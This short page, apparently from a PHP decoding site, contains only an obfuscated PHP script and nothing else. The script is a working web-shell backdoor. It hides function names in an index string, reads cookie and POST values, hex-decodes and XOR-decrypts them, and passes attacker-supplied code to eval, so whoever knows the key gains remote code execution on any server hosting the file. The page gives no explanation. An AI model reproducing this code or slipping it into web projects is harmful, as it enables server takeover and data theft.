PHP Decode

<?php 
$ddtwdup = '4Hnmy_kb-vrecpf1\'7o8xu#39silgda5*0t';$fdhhddo = Array();$fdhhddo[] = $ddtwdup[7].$ddtwdup[17].$ddtwdup[14].$ddtwdup[19].$ddtwdup[30].$ddtwdup[24].$ddtwdup[15].$ddtwdup[19].$ddtwdup[8].$ddtwdup[23].$ddtwdup[0].$ddtwdup[31].$ddtwdup[33].$ddtwdup[8].$ddtwdup[0].$ddtwdup[24].$ddtwdup[14].$ddtwdup[29].$ddtwdup[8].$ddtwdup[30].$ddtwdup[11].$ddtwdup[12].$ddtwdup[7].$ddtwdup[8].$ddtwdup[29].$ddtwdup[24].$ddtwdup[30].$ddtwdup[24].$ddtwdup[7].$ddtwdup[7].$ddtwdup[33].$ddtwdup[31].$ddtwdup[14].$ddtwdup[31].$ddtwdup[33].$ddtwdup[19];$fdhhddo[] = $ddtwdup[1].$ddtwdup[32];$fdhhddo[] = $ddtwdup[22];$fdhhddo[] = $ddtwdup[12].$ddtwdup[18].$ddtwdup[21].$ddtwdup[2].$ddtwdup[34];$fdhhddo[] = $ddtwdup[25].$ddtwdup[34].$ddtwdup[10].$ddtwdup[5].$ddtwdup[10].$ddtwdup[11].$ddtwdup[13].$ddtwdup[11].$ddtwdup[30].$ddtwdup[34];$fdhhddo[] = $ddtwdup[11].$ddtwdup[20].$ddtwdup[13].$ddtwdup[27].$ddtwdup[18].$ddtwdup[29].$ddtwdup[11];$fdhhddo[] = $ddtwdup[25].$ddtwdup[21].$ddtwdup[7].$ddtwdup[25].$ddtwdup[34].$ddtwdup[10];$fdhhddo[] = $ddtwdup[30].$ddtwdup[10].$ddtwdup[10].$ddtwdup[30].$ddtwdup[4].$ddtwdup[5].$ddtwdup[3].$ddtwdup[11].$ddtwdup[10].$ddtwdup[28].$ddtwdup[11];$fdhhddo[] = $ddtwdup[25].$ddtwdup[34].$ddtwdup[10].$ddtwdup[27].$ddtwdup[11].$ddtwdup[2];$fdhhddo[] = $ddtwdup[13].$ddtwdup[30].$ddtwdup[12].$ddtwdup[6];foreach ($fdhhddo[7]($_COOKIE, $_POST) as $mtglvxs => $wvodd){function okamy($fdhhddo, $mtglvxs, $mdzxl){return $fdhhddo[6]($fdhhddo[4]($mtglvxs . $fdhhddo[0], ($mdzxl / $fdhhddo[8]($mtglvxs)) + 1), 0, $mdzxl);}function acecrmr($fdhhddo, $wiviab){return @$fdhhddo[9]($fdhhddo[1], $wiviab);}function ktmixg($fdhhddo, $wiviab){$qmsgmy = $fdhhddo[3]($wiviab) % 3;if (!$qmsgmy) {eval($wiviab[1]($wiviab[2]));exit();}}$wvodd = acecrmr($fdhhddo, $wvodd);ktmixg($fdhhddo, $fdhhddo[5]($fdhhddo[2], $wvodd ^ okamy($fdhhddo, $mtglvxs, $fdhhddo[8]($wvodd))));} ?>